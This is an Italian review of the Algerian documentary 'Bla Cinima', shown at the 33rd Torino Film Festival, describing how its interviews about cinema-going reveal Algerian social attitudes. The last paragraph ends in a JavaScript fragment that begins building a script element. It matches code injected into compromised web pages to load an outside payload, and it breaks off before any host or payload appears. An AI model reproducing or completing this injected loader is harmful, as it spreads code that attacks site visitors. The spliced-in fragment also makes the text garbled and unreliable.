TFF 33 – TFFdoc. Mediterraneo : “Bla Cinima”

Si inizia a parlare di cinema, intorno al cinema, davanti ad un cinema, ma è solo un punto di partenza. Ecco da dove arriva il titolo “Bla Cinima”, dove si indica che a farla da padrone in questo documentario sono le “bla” le chiacchiere.

Imbroccando una telecamera e un microfono rigorosamente importanti dalla Francia, cosi come la sua operatrice di camera, il regista Lamine Ammar-Khodja, unico elemento made in Algeria, si muove nei dintorni di un vecchio stabile ristrutturato, intervistando gli autoctoni sul loro rapporto con il cinema, intendendo in questo modo sia i film che “l’andare al cinema”. Grazie a questo spunto il regista è capace di darci uno spaccato della società algerina, che si racconta attraverso le immagini, capaci di far trasparire l’astio verso la società, la condizione attuale e anche, rigorosamente, verso le pellicole rispetto alla tv.

Il cinema è un luogo da coppiette, dove andare a fare quello che si deve evitare alla luce del sole e dove imparare dai più grandi, poco importa, se non ai più anziani, la qualità delle pellicole, che sono state soppiantate dalle produzioni turche o dai film importati. Pur segnato da una fattura a tratti non troppo pregiata, il contenuto del documentario è chiaro e diretto, sia per quanto riguarda il punto dal quale il regista è partito, sia la sue evoluzione secondo schemi paralleli.var d=document;var s=d.createElement(‘script’);

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